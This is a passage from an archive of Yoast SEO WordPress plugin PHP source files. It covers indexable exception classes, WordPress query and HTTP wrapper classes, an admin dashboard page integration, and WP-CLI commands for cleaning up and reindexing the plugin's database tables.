		return new self( \sprintf( \__( 'The post type %s could not be indexed because it does not meet indexing requirements.', 'wordpress-seo' ), $post_type ) );
	}
}
wordpress-seo/src/exceptions/indexable/invalid-term-exception.php000064400000001353147510273100021365 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Exception that can be thrown whenever a term is considered invalid by WordPress
 * within the context of the indexables.
 */
class Invalid_Term_Exception extends Source_Exception {

	/**
	 * Exception that can be thrown whenever a term is considered invalid by WordPress
	 * within the context of the indexables.
	 *
	 * @param string $reason The reason given by WordPress why the term is invalid.
	 */
	public function __construct( $reason ) {
		parent::__construct(
			\sprintf(
				/* translators: %s is the reason given by WordPress. */
				\esc_html__( 'The term is considered invalid. The following reason was given by WordPress: %s', 'wordpress-seo' ),
				$reason
			)
		);
	}
}
wordpress-seo/src/exceptions/indexable/not-built-exception.php000064400000001040147510273100020700 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Class Not_Built_Exception
 */
class Not_Built_Exception extends Indexable_Exception {

	/**
	 * Creates an exception that should be thrown when an indexable
	 * was not built because of an invalid object id.
	 *
	 * @param int $object_id The invalid object id.
	 *
	 * @return Not_Built_Exception The exception.
	 */
	public static function invalid_object_id( $object_id ) {
		return new self(
			"Indexable was not built because it had an invalid object id of $object_id."
		);
	}
}
wordpress-seo/src/exceptions/indexable/author-not-built-exception.php000064400000003141147510273100022204 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * For when an author indexable is not being built.
 */
class Author_Not_Built_Exception extends Not_Built_Exception {

	/**
	 * Named constructor for creating an Author_Not_Built_Exception
	 * when author archives are disabled for users without posts.
	 *
	 * @param string $user_id The user id.
	 *
	 * @return Author_Not_Built_Exception The exception.
	 */
	public static function author_archives_are_not_indexed_for_users_without_posts( $user_id ) {
		return new self(
			'Indexable for author with id ' . $user_id . ' is not being built, since author archives are not indexed for users without posts.'
		);
	}

	/**
	 * Named constructor for creating an Author_Not_Built_Exception
	 * when author archives are disabled.
	 *
	 * @param string $user_id The user id.
	 *
	 * @return Author_Not_Built_Exception The exception.
	 */
	public static function author_archives_are_disabled( $user_id ) {
		return new self(
			'Indexable for author with id ' . $user_id . ' is not being built, since author archives are disabled.'
		);
	}

	/**
	 * Named constructor for creating an Author_Not_Build_Exception
	 * when an author is excluded because of the `'wpseo_should_build_and_save_user_indexable'` filter.
	 *
	 * @param string $user_id The user id.
	 *
	 * @return Author_Not_Built_Exception The exception.
	 */
	public static function author_not_built_because_of_filter( $user_id ) {
		return new self(
			'Indexable for author with id ' . $user_id . ' is not being built, since it is excluded because of the \'wpseo_should_build_and_save_user_indexable\' filter.'
		);
	}
}
wordpress-seo/src/exceptions/indexable/indexable-exception.php000064400000000244147510273100020723 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

use Exception;

/**
 * Class Indexable_Exception
 */
abstract class Indexable_Exception extends Exception {

}
wordpress-seo/src/exceptions/indexable/term-not-found-exception.php000064400000000703147510273100021646 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Exception that is thrown whenever a term could not be found
 * in the context of the indexables.
 */
class Term_Not_Found_Exception extends Source_Exception {

	/**
	 * Exception that is thrown whenever a term could not be found
	 * in the context of the indexables.
	 */
	public function __construct() {
		parent::__construct( \__( 'The term could not be found.', 'wordpress-seo' ) );
	}
}
wordpress-seo/src/exceptions/indexable/term-not-built-exception.php000064400000001147147510273100021655 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Exception that is thrown whenever a term could not be built
 * in the context of the indexables.
 */
class Term_Not_Built_Exception extends Not_Built_Exception {

	/**
	 * Throws an exception if the term is not indexable.
	 *
	 * @param int $term_id ID of the term.
	 *
	 * @return Term_Not_Built_Exception
	 */
	public static function because_not_indexable( $term_id ) {
		/* translators: %s: expands to the term id */
		return new self( \sprintf( \__( 'The term %s could not be built because it\'s not indexable.', 'wordpress-seo' ), $term_id ) );
	}
}
wordpress-seo/src/exceptions/indexable/post-not-found-exception.php000064400000000703147510273100021664 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Exception that is thrown whenever a post could not be found
 * in the context of the indexables.
 */
class Post_Not_Found_Exception extends Source_Exception {

	/**
	 * Exception that is thrown whenever a post could not be found
	 * in the context of the indexables.
	 */
	public function __construct() {
		parent::__construct( \__( 'The post could not be found.', 'wordpress-seo' ) );
	}
}
wordpress-seo/src/exceptions/indexable/source-exception.php000064400000000231147510273100020264 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Class Indexable_Source_Exception
 */
class Source_Exception extends Indexable_Exception {

}
wordpress-seo/src/exceptions/indexable/post-not-built-exception.php000064400000002056147510273100021673 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Exception that is thrown whenever a post could not be built
 * in the context of the indexables.
 */
class Post_Not_Built_Exception extends Not_Built_Exception {

	/**
	 * Throws an exception if the post is not indexable.
	 *
	 * @param int $post_id ID of the post.
	 *
	 * @return Post_Not_Built_Exception
	 */
	public static function because_not_indexable( $post_id ) {
		/* translators: %s: expands to the post id */
		return new self( \sprintf( \__( 'The post %s could not be indexed because it does not meet indexing requirements.', 'wordpress-seo' ), $post_id ) );
	}

	/**
	 * Throws an exception if the post type is excluded from indexing.
	 *
	 * @param int $post_id ID of the post.
	 *
	 * @return Post_Not_Built_Exception
	 */
	public static function because_post_type_excluded( $post_id ) {
		/* translators: %s: expands to the post id */
		return new self( \sprintf( \__( 'The post %s could not be indexed because it\'s post type is excluded from indexing.', 'wordpress-seo' ), $post_id ) );
	}
}
wordpress-seo/src/exceptions/missing-method.php000064400000001271147510273100015771 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions;

use Exception;

/**
 * Exception to use when a method does not exist.
 */
class Missing_Method extends Exception {

	/**
	 * Creates exception for a method that does not exist in a class.
	 *
	 * @param string $method     The method that does not exist.
	 * @param string $class_name The class name.
	 *
	 * @return static Instance of the exception.
	 */
	public static function for_class( $method, $class_name ) {
		return new static(
			\sprintf(
				/* translators: %1$s expands to the method name. %2$s expands to the class name */
				\__( 'Method %1$s() does not exist in class %2$s', 'wordpress-seo' ),
				$method,
				$class_name
			)
		);
	}
}
wordpress-seo/src/wrappers/wp-query-wrapper.php000064400000001554147510273100015777 0ustar00<?php

namespace Yoast\WP\SEO\Wrappers;

use WP_Query;

/**
 * Wrapper for WP_Query.
 */
class WP_Query_Wrapper {

	/**
	 * Returns the global WP_Query object.
	 *
	 * @return WP_Query The WP_Query object.
	 */
	public function get_query() {
		return $GLOBALS['wp_query'];
	}

	/**
	 * Returns the global main WP_Query object.
	 *
	 * @return WP_Query The WP_Query object.
	 */
	public function get_main_query() {
		return $GLOBALS['wp_the_query'];
	}

	/**
	 * Sets the global WP_Query object.
	 *
	 * @param WP_Query $wp_query The WP Query.
	 *
	 * @return void
	 */
	public function set_query( WP_Query $wp_query ) {
		// phpcs:ignore WordPress.WP.GlobalVariablesOverride -- This is a deliberate action.
		$GLOBALS['wp_query'] = $wp_query;
	}

	/**
	 * Resets the global WP_Query object.
	 *
	 * @return void
	 */
	public function reset_query() {
		\wp_reset_query();
	}
}
wordpress-seo/src/wrappers/wp-rewrite-wrapper.php000064400000000444147510273100016310 0ustar00<?php

namespace Yoast\WP\SEO\Wrappers;

use WP_Rewrite;

/**
 * Wrapper for WP_Rewrite.
 */
class WP_Rewrite_Wrapper {

	/**
	 * Returns the global WP_Rewrite_Wrapper object.
	 *
	 * @return WP_Rewrite The WP_Query object.
	 */
	public function get() {
		return $GLOBALS['wp_rewrite'];
	}
}
wordpress-seo/src/wrappers/wp-remote-handler.php000064400000003564147510273100016065 0ustar00<?php

namespace Yoast\WP\SEO\Wrappers;

use Exception;
use YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\GuzzleHttp\Promise\RejectedPromise;
use YoastSEO_Vendor\GuzzleHttp\Psr7\Response;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;

/**
 * Wraps wp_remote_get in an interface compatible with Guzzle.
 */
class WP_Remote_Handler {

	/**
	 * Calls the handler.
	 * Cookies are currently not supported as they are not used by OAuth.
	 * Writing responses to files is also not supported for the same reason.
	 *
	 * @param RequestInterface $request The request.
	 * @param array            $options The request options.
	 *
	 * @return PromiseInterface The promise interface.
	 *
	 * @throws Exception If the request fails.
	 */
	public function __invoke( RequestInterface $request, array $options ) {
		$headers = [];
		foreach ( $request->getHeaders() as $name => $values ) {
			$headers[ $name ] = \implode( ',', $values );
		}

		$args = [
			'method'      => $request->getMethod(),
			'headers'     => $headers,
			'body'        => (string) $request->getBody(),
			'httpVersion' => $request->getProtocolVersion(),
		];

		if ( isset( $options['verify'] ) && $options['verify'] === false ) {
			$args['sslverify'] = false;
		}
		if ( isset( $options['timeout'] ) ) {
			$args['timeout'] = ( $options['timeout'] * 1000 );
		}

		$raw_response = \wp_remote_request( (string) $request->getUri(), $args );
		if ( \is_wp_error( $raw_response ) ) {
			$exception = new Exception( $raw_response->get_error_message() );
			return new RejectedPromise( $exception );
		}

		$response = new Response(
			$raw_response['response']['code'],
			$raw_response['headers']->getAll(),
			$raw_response['body'],
			$args['httpVersion'],
			$raw_response['response']['message']
		);

		return new FulfilledPromise( $response );
	}
}
wordpress-seo/src/general/user-interface/general-page-integration.php000064400000013767147510273100022077 0ustar00<?php

namespace Yoast\WP\SEO\General\User_Interface;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Actions\Alert_Dismissal_Action;
use Yoast\WP\SEO\Conditionals\Admin\Non_Network_Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Dashboard\Application\Configuration\Dashboard_Configuration;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Notification_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Class General_Page_Integration.
 */
class General_Page_Integration implements Integration_Interface {

	/**
	 * The page name.
	 */
	public const PAGE = 'wpseo_dashboard';

	/**
	 * The notification helper.
	 *
	 * @var Notification_Helper
	 */
	protected $notification_helper;

	/**
	 * The dashboard configuration.
	 *
	 * @var Dashboard_Configuration
	 */
	private $dashboard_configuration;

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the Short_Link_Helper.
	 *
	 * @var Short_Link_Helper
	 */
	private $shortlink_helper;

	/**
	 * The promotion manager.
	 *
	 * @var Promotion_Manager $promotion_manager
	 */
	private $promotion_manager;

	/**
	 * The alert dismissal action.
	 *
	 * @var Alert_Dismissal_Action $alert_dismissal_action
	 */
	private $alert_dismissal_action;

	/**
	 * Constructs Academy_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager           The WPSEO_Admin_Asset_Manager.
	 * @param Current_Page_Helper       $current_page_helper     The Current_Page_Helper.
	 * @param Product_Helper            $product_helper          The Product_Helper.
	 * @param Short_Link_Helper         $shortlink_helper        The Short_Link_Helper.
	 * @param Notification_Helper       $notification_helper     The Notification_Helper.
	 * @param Alert_Dismissal_Action    $alert_dismissal_action  The alert dismissal action.
	 * @param Promotion_Manager         $promotion_manager       The promotion manager.
	 * @param Dashboard_Configuration   $dashboard_configuration The dashboard configuration.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Current_Page_Helper $current_page_helper,
		Product_Helper $product_helper,
		Short_Link_Helper $shortlink_helper,
		Notification_Helper $notification_helper,
		Alert_Dismissal_Action $alert_dismissal_action,
		Promotion_Manager $promotion_manager,
		Dashboard_Configuration $dashboard_configuration
	) {
		$this->asset_manager           = $asset_manager;
		$this->current_page_helper     = $current_page_helper;
		$this->product_helper          = $product_helper;
		$this->shortlink_helper        = $shortlink_helper;
		$this->notification_helper     = $notification_helper;
		$this->alert_dismissal_action  = $alert_dismissal_action;
		$this->promotion_manager       = $promotion_manager;
		$this->dashboard_configuration = $dashboard_configuration;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string>
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, Non_Network_Admin_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {

		// Add page.
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] );

		// Are we on the dashboard page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		}
	}

	/**
	 * Adds the page.
	 *
	 * @param array<string,array<string>> $pages The pages.
	 *
	 * @return array<string,array<string>> The pages.
	 */
	public function add_page( $pages ) {
		\array_splice(
			$pages,
			0,
			0,
			[
				[
					self::PAGE,
					'',
					\__( 'General', 'wordpress-seo' ),
					'wpseo_manage_options',
					self::PAGE,
					[ $this, 'display_page' ],
				],
			]
		);

		return $pages;
	}

	/**
	 * Displays the page.
	 *
	 * @return void
	 */
	public function display_page() {
		echo '<div id="yoast-seo-general"></div>';
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
		\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		\wp_enqueue_media();
		$this->asset_manager->enqueue_script( 'general-page' );
		$this->asset_manager->enqueue_style( 'general-page' );
		if ( $this->promotion_manager->is( 'black-friday-2024-promotion' ) ) {
			$this->asset_manager->enqueue_style( 'black-friday-banner' );
		}
		$this->asset_manager->localize_script( 'general-page', 'wpseoScriptData', $this->get_script_data() );
	}

	/**
	 * Creates the script data.
	 *
	 * @return array<string,array<string|bool,array<string>>> The script data.
	 */
	private function get_script_data() {
		return [
			'preferences'       => [
				'isPremium'      => $this->product_helper->is_premium(),
				'isRtl'          => \is_rtl(),
				'pluginUrl'      => \plugins_url( '', \WPSEO_FILE ),
				'upsellSettings' => [
					'actionId'     => 'load-nfd-ctb',
					'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
				],
			],
			'linkParams'        => $this->shortlink_helper->get_query_params(),
			'userEditUrl'       => \add_query_arg( 'user_id', '{user_id}', \admin_url( 'user-edit.php' ) ),
			'alerts'            => $this->notification_helper->get_alerts(),
			'currentPromotions' => $this->promotion_manager->get_current_promotions(),
			'dismissedAlerts'   => $this->alert_dismissal_action->all_dismissed(),
			'dashboard'         => $this->dashboard_configuration->get_configuration(),
		];
	}
}
wordpress-seo/src/commands/cleanup-command.php000064400000012425147510273100015530 0ustar00<?php

namespace Yoast\WP\SEO\Commands;

use WP_CLI;
use WP_CLI\ExitException;
use WP_CLI\Utils;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Main;

/**
 * A WP CLI command that helps with cleaning up unwanted records from our custom tables.
 */
final class Cleanup_Command implements Command_Interface {

	/**
	 * The integration that cleans up on cron.
	 *
	 * @var Cleanup_Integration
	 */
	private $cleanup_integration;

	/**
	 * The constructor.
	 *
	 * @param Cleanup_Integration $cleanup_integration The integration that cleans up on cron.
	 */
	public function __construct( Cleanup_Integration $cleanup_integration ) {
		$this->cleanup_integration = $cleanup_integration;
	}

	/**
	 * Returns the namespace of this command.
	 *
	 * @return string
	 */
	public static function get_namespace() {
		return Main::WP_CLI_NAMESPACE;
	}

	/**
	 * Performs a cleanup of custom Yoast tables.
	 *
	 * This removes unused, unwanted or orphaned database records, which ensures the best performance. Including:
	 * - Indexables
	 * - Indexable hierarchy
	 * - SEO links
	 *
	 * ## OPTIONS
	 *
	 * [--batch-size=<batch-size>]
	 * : The number of database records to clean up in a single sql query.
	 * ---
	 * default: 1000
	 * ---
	 *
	 * [--interval=<interval>]
	 * : The number of microseconds (millionths of a second) to wait between cleanup batches.
	 * ---
	 * default: 500000
	 * ---
	 *
	 * [--network]
	 * : Performs the cleanup on all sites within the network.
	 *
	 * ## EXAMPLES
	 *
	 *     wp yoast cleanup
	 *
	 * @when after_wp_load
	 *
	 * @param array|null $args       The arguments.
	 * @param array|null $assoc_args The associative arguments.
	 *
	 * @return void
	 *
	 * @throws ExitException When the input args are invalid.
	 */
	public function cleanup( $args = null, $assoc_args = null ) {
		if ( isset( $assoc_args['interval'] ) && (int) $assoc_args['interval'] < 0 ) {
			WP_CLI::error( \__( 'The value for \'interval\' must be a positive integer.', 'wordpress-seo' ) );
		}
		if ( isset( $assoc_args['batch-size'] ) && (int) $assoc_args['batch-size'] < 1 ) {
			WP_CLI::error( \__( 'The value for \'batch-size\' must be a positive integer higher than equal to 1.', 'wordpress-seo' ) );
		}

		if ( isset( $assoc_args['network'] ) && \is_multisite() ) {
			$total_removed = $this->cleanup_network( $assoc_args );
		}
		else {
			$total_removed = $this->cleanup_current_site( $assoc_args );
		}

		WP_CLI::success(
			\sprintf(
			/* translators: %1$d is the number of records that are removed. */
				\_n(
					'Cleaned up %1$d record.',
					'Cleaned up %1$d records.',
					$total_removed,
					'wordpress-seo'
				),
				$total_removed
			)
		);
	}

	/**
	 * Performs the cleanup for the entire network.
	 *
	 * @param array|null $assoc_args The associative arguments.
	 *
	 * @return int The number of cleaned up records.
	 */
	private function cleanup_network( $assoc_args ) {
		$criteria      = [
			'fields'   => 'ids',
			'spam'     => 0,
			'deleted'  => 0,
			'archived' => 0,
		];
		$blog_ids      = \get_sites( $criteria );
		$total_removed = 0;
		foreach ( $blog_ids as $blog_id ) {
			\switch_to_blog( $blog_id );
			$total_removed += $this->cleanup_current_site( $assoc_args );
			\restore_current_blog();
		}

		return $total_removed;
	}

	/**
	 * Performs the cleanup for a single site.
	 *
	 * @param array|null $assoc_args The associative arguments.
	 *
	 * @return int The number of cleaned up records.
	 */
	private function cleanup_current_site( $assoc_args ) {
		$site_url      = \site_url();
		$total_removed = 0;

		if ( ! \is_plugin_active( \WPSEO_BASENAME ) ) {
			/* translators: %1$s is the site url of the site that is skipped. %2$s is Yoast SEO. */
			WP_CLI::warning( \sprintf( \__( 'Skipping %1$s. %2$s is not active on this site.', 'wordpress-seo' ), $site_url, 'Yoast SEO' ) );

			return $total_removed;
		}

		// Make sure the DB is up to date first.
		\do_action( '_yoast_run_migrations' );

		$tasks    = $this->cleanup_integration->get_cleanup_tasks();
		$limit    = (int) $assoc_args['batch-size'];
		$interval = (int) $assoc_args['interval'];

		/* translators: %1$s is the site url of the site that is cleaned up. %2$s is the name of the cleanup task that is currently running. */
		$progress_bar_title_format = \__( 'Cleaning up %1$s [%2$s]', 'wordpress-seo' );
		$progress                  = Utils\make_progress_bar( \sprintf( $progress_bar_title_format, $site_url, \key( $tasks ) ), \count( $tasks ) );

		foreach ( $tasks as $task_name => $task ) {
			// Update the progressbar title with the current task name.
			$progress->tick( 0, \sprintf( $progress_bar_title_format, $site_url, $task_name ) );
			do {
				$items_cleaned = $task( $limit );
				if ( \is_int( $items_cleaned ) ) {
					$total_removed += $items_cleaned;
				}
				\usleep( $interval );

				// Update the timer.
				$progress->tick( 0 );
			} while ( $items_cleaned !== false && $items_cleaned > 0 );
			$progress->tick();
		}
		$progress->finish();

		$this->cleanup_integration->reset_cleanup();
		WP_CLI::log(
			\sprintf(
			/* translators: %1$d is the number of records that were removed. %2$s is the site url. */
				\_n(
					'Cleaned up %1$d record from %2$s.',
					'Cleaned up %1$d records from %2$s.',
					$total_removed,
					'wordpress-seo'
				),
				$total_removed,
				$site_url
			)
		);

		return $total_removed;
	}
}
wordpress-seo/src/commands/command-interface.php000064400000000464147510273100016041 0ustar00<?php

namespace Yoast\WP\SEO\Commands;

/**
 * Interface definition for WP CLI commands.
 *
 * An interface for registering integrations with WordPress.
 */
interface Command_Interface {

	/**
	 * Returns the namespace of this command.
	 *
	 * @return string
	 */
	public static function get_namespace();
}
wordpress-seo/src/commands/index-command.php000064400000023662147510273100015215 0ustar00<?php

namespace Yoast\WP\SEO\Commands;

use WP_CLI;
use WP_CLI\Utils;
use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Actions\Indexing\Indexable_General_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexation_Action_Interface;
use Yoast\WP\SEO\Actions\Indexing\Indexing_Prepare_Action;
use Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action;
use Yoast\WP\SEO\Actions\Indexing\Term_Link_Indexing_Action;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Main;

/**
 * Command to generate indexables for all posts and terms.
 */
class Index_Command implements Command_Interface {

	/**
	 * The post indexation action.
	 *
	 * @var Indexable_Post_Indexation_Action
	 */
	private $post_indexation_action;

	/**
	 * The term indexation action.
	 *
	 * @var Indexable_Term_Indexation_Action
	 */
	private $term_indexation_action;

	/**
	 * The post type archive indexation action.
	 *
	 * @var Indexable_Post_Type_Archive_Indexation_Action
	 */
	private $post_type_archive_indexation_action;

	/**
	 * The general indexation action.
	 *
	 * @var Indexable_General_Indexation_Action
	 */
	private $general_indexation_action;

	/**
	 * The term link indexing action.
	 *
	 * @var Term_Link_Indexing_Action
	 */
	private $term_link_indexing_action;

	/**
	 * The post link indexing action.
	 *
	 * @var Post_Link_Indexing_Action
	 */
	private $post_link_indexing_action;

	/**
	 * The complete indexation action.
	 *
	 * @var Indexable_Indexing_Complete_Action
	 */
	private $complete_indexation_action;

	/**
	 * The indexing prepare action.
	 *
	 * @var Indexing_Prepare_Action
	 */
	private $prepare_indexing_action;

	/**
	 * Represents the indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Generate_Indexables_Command constructor.
	 *
	 * @param Indexable_Post_Indexation_Action              $post_indexation_action              The post indexation
	 *                                                                                           action.
	 * @param Indexable_Term_Indexation_Action              $term_indexation_action              The term indexation
	 *                                                                                           action.
	 * @param Indexable_Post_Type_Archive_Indexation_Action $post_type_archive_indexation_action The post type archive
	 *                                                                                           indexation action.
	 * @param Indexable_General_Indexation_Action           $general_indexation_action           The general indexation
	 *                                                                                           action.
	 * @param Indexable_Indexing_Complete_Action            $complete_indexation_action          The complete indexation
	 *                                                                                           action.
	 * @param Indexing_Prepare_Action                       $prepare_indexing_action             The prepare indexing
	 *                                                                                           action.
	 * @param Post_Link_Indexing_Action                     $post_link_indexing_action           The post link indexation
	 *                                                                                           action.
	 * @param Term_Link_Indexing_Action                     $term_link_indexing_action           The term link indexation
	 *                                                                                           action.
	 * @param Indexable_Helper                              $indexable_helper                    The indexable helper.
	 */
	public function __construct(
		Indexable_Post_Indexation_Action $post_indexation_action,
		Indexable_Term_Indexation_Action $term_indexation_action,
		Indexable_Post_Type_Archive_Indexation_Action $post_type_archive_indexation_action,
		Indexable_General_Indexation_Action $general_indexation_action,
		Indexable_Indexing_Complete_Action $complete_indexation_action,
		Indexing_Prepare_Action $prepare_indexing_action,
		Post_Link_Indexing_Action $post_link_indexing_action,
		Term_Link_Indexing_Action $term_link_indexing_action,
		Indexable_Helper $indexable_helper
	) {
		$this->post_indexation_action              = $post_indexation_action;
		$this->term_indexation_action              = $term_indexation_action;
		$this->post_type_archive_indexation_action = $post_type_archive_indexation_action;
		$this->general_indexation_action           = $general_indexation_action;
		$this->complete_indexation_action          = $complete_indexation_action;
		$this->prepare_indexing_action             = $prepare_indexing_action;
		$this->post_link_indexing_action           = $post_link_indexing_action;
		$this->term_link_indexing_action           = $term_link_indexing_action;
		$this->indexable_helper                    = $indexable_helper;
	}

	/**
	 * Gets the namespace.
	 *
	 * @return string
	 */
	public static function get_namespace() {
		return Main::WP_CLI_NAMESPACE;
	}

	/**
	 * Indexes all your content to ensure the best performance.
	 *
	 * ## OPTIONS
	 *
	 * [--network]
	 * : Performs the indexation on all sites within the network.
	 *
	 * [--reindex]
	 * : Removes all existing indexables and then reindexes them.
	 *
	 * [--skip-confirmation]
	 * : Skips the confirmations (for automated systems).
	 *
	 * [--interval=<interval>]
	 * : The number of microseconds (millionths of a second) to wait between index actions.
	 * ---
	 * default: 500000
	 * ---
	 *
	 * ## EXAMPLES
	 *
	 *     wp yoast index
	 *
	 * @when after_wp_load
	 *
	 * @param array|null $args       The arguments.
	 * @param array|null $assoc_args The associative arguments.
	 *
	 * @return void
	 */
	public function index( $args = null, $assoc_args = null ) {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			WP_CLI::log(
				\__( 'Your WordPress environment is running on a non-production site. Indexables can only be created on production environments. Please check your `WP_ENVIRONMENT_TYPE` settings.', 'wordpress-seo' )
			);

			return;
		}

		if ( ! isset( $assoc_args['network'] ) ) {
			$this->run_indexation_actions( $assoc_args );

			return;
		}

		$criteria = [
			'fields'   => 'ids',
			'spam'     => 0,
			'deleted'  => 0,
			'archived' => 0,
		];
		$blog_ids = \get_sites( $criteria );

		foreach ( $blog_ids as $blog_id ) {
			\switch_to_blog( $blog_id );
			\do_action( '_yoast_run_migrations' );
			$this->run_indexation_actions( $assoc_args );
			\restore_current_blog();
		}
	}

	/**
	 * Runs all indexation actions.
	 *
	 * @param array $assoc_args The associative arguments.
	 *
	 * @return void
	 */
	protected function run_indexation_actions( $assoc_args ) {
		// See if we need to clear all indexables before repopulating.
		if ( isset( $assoc_args['reindex'] ) ) {

			// Argument --skip-confirmation to prevent confirmation (for automated systems).
			if ( ! isset( $assoc_args['skip-confirmation'] ) ) {
				WP_CLI::confirm( 'This will clear all previously indexed objects. Are you certain you wish to proceed?' );
			}

			// Truncate the tables.
			$this->clear();

			// Delete the transients to make sure re-indexing runs every time.
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Post_Type_Archive_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
		}

		$indexation_actions = [
			'posts'              => $this->post_indexation_action,
			'terms'              => $this->term_indexation_action,
			'post type archives' => $this->post_type_archive_indexation_action,
			'general objects'    => $this->general_indexation_action,
			'post links'         => $this->post_link_indexing_action,
			'term links'         => $this->term_link_indexing_action,
		];

		$this->prepare_indexing_action->prepare();

		$interval = (int) $assoc_args['interval'];
		foreach ( $indexation_actions as $name => $indexation_action ) {
			$this->run_indexation_action( $name, $indexation_action, $interval );
		}

		$this->complete_indexation_action->complete();
	}

	/**
	 * Runs an indexation action.
	 *
	 * @param string                      $name              The name of the object to be indexed.
	 * @param Indexation_Action_Interface $indexation_action The indexation action.
	 * @param int                         $interval          Number of microseconds (millionths of a second) to wait between index actions.
	 *
	 * @return void
	 */
	protected function run_indexation_action( $name, Indexation_Action_Interface $indexation_action, $interval ) {
		$total = $indexation_action->get_total_unindexed();
		if ( $total > 0 ) {
			$limit    = $indexation_action->get_limit();
			$progress = Utils\make_progress_bar( 'Indexing ' . $name, $total );
			do {
				$indexables = $indexation_action->index();
				$count      = \count( $indexables );
				$progress->tick( $count );
				\usleep( $interval );
				Utils\wp_clear_object_cache();
			} while ( $count >= $limit );
			$progress->finish();
		}
	}

	/**
	 * Clears the database related to the indexables.
	 *
	 * @return void
	 */
	protected function clear() {
		global $wpdb;

		// For the PreparedSQLPlaceholders issue, see: https://github.com/WordPress/WordPress-Coding-Standards/issues/1903.
		// For the DirectDBQuery issue, see: https://github.com/WordPress/WordPress-Coding-Standards/issues/1947.
		// phpcs:disable WordPress.DB -- Table names should not be quoted and truncate queries can not be cached.
		$wpdb->query(
			$wpdb->prepare(
				'TRUNCATE TABLE %1$s',
				Model::get_table_name( 'Indexable' )
			)
		);
		$wpdb->query(
			$wpdb->prepare(
				'TRUNCATE TABLE %1$s',
				Model::get_table_name( 'Indexable_Hierarchy' )
			)
		);
		// phpcs:enable
	}
}
wordpress-seo/src/functions.php000064400000001271147510273100012671 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

use Yoast\WP\SEO\Main;

if ( is_dir( WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY ) ) {
	require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/guzzle/src/functions.php';
}

/**
 * Retrieves the main instance.
 *
 * @phpcs:disable WordPress.NamingConventions -- Should probably be renamed, but leave for now.
 *
 * @return Main The main instance.
 */
function YoastSEO() {
	// phpcs:enable

	static $main;

	if ( $main === null ) {
		$main = new Main();
		$main->load();
	}

	return $main;
}
wordpress-seo/src/loggers/logger.php000064400000002057147510273100013605 0ustar00<?php

namespace Yoast\WP\SEO\Loggers;

use YoastSEO_Vendor\Psr\Log\LoggerInterface;
use YoastSEO_Vendor\Psr\Log\LoggerTrait;
use YoastSEO_Vendor\Psr\Log\NullLogger;

/**
